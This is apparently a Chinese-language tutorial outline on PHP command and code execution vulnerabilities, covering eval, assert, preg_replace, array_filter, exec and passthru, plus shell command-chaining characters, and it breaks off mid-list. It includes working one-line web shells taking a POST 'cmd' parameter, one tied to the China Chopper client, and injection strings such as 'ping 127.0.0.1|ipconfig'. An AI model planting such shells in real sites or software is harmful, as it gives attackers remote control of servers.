数据来源
命令执行简介
01 命令执行漏洞产生原因
02 命令执行漏洞的危害
03 远程代码执行
1)远程代码执行- eval函数
2)远程代码执行 - assert函数
3)远程代码执行 - preg_replace函数
使用方法和一句话木马一样
示例:
在php的www目录下创建一个preg_replace.php文件,内容如下:
<?php preg_replace("/test/e",$_POST["cmd"],"just test");?>
可以使用菜刀连接或浏览器的插件Hackbar执行
C刀连接
4)远程代码执行- array_map函数
5)远程代码执行 - create_function函数
6)远程代码执行- caLL_user_func函数
这里推荐一个软件utools
我们可以用这个软件下载一些插件或文档,如我这里下载一个php的文档遇到不认识的php代码就可以搜索一下,就不用上百度搜索。
7)远程代码执行- array_filter函数
示例:
www目录下创建一个文件,内容如下:
<?php
$cmd=$_POST['cmd']; // 接收一个post参数
$array1=array($cmd); // 把传入的post参数cmd转换为数组(array_filter接收的就是数组类型)
$func =$_GET['func']; // 接收要执行的操作函数
array_filter($array1,$func);
// 用回调函数过滤数组中的元素:array-filter(数组,函数)
// ?func=system
//cmd=whoam
?>
访问:http://127.0.0.1/array-filter.php?func=system
8)远程代码执行- 双引号
04 远程系统命令执行
1)远程系统命令执行- exec函数
示例:
在php的www目录下创建一个exec.php文件,内容如下:
<?php
$cmd=$_POST['cmd'];
@exec($cmd,$return); // 执行$cmd,并把结果给数组$return
var_dump($return) // 输出$return
?>
访问:http://127.0.0.1/exec.php
执行的结果和在命令行中运行时一样的
2)远程系统命令执行- system函数
3)远程系统命令执行- passthru函数
示例:
在php的www目录下创建一个passthru.php文件,内容如下:
<?php
$output = passthru("ipconfig"); // ipconfig是windows的系统命令,意思是查看ip地址。
echo "<pre>$output</pre>";
?>
访问:http://127.0.0.1/passthru.php
4)远程系统命令执行- shell_exec函数
命令执行常用特殊字符
示例:(windows + R 输入cmd 打开命令行)
1)“|” :cmd1|cmd2 无论cmd1是否执行成功cmd2都会被执行
ping 127.0.0.1|ipconfig
2)“&&” 与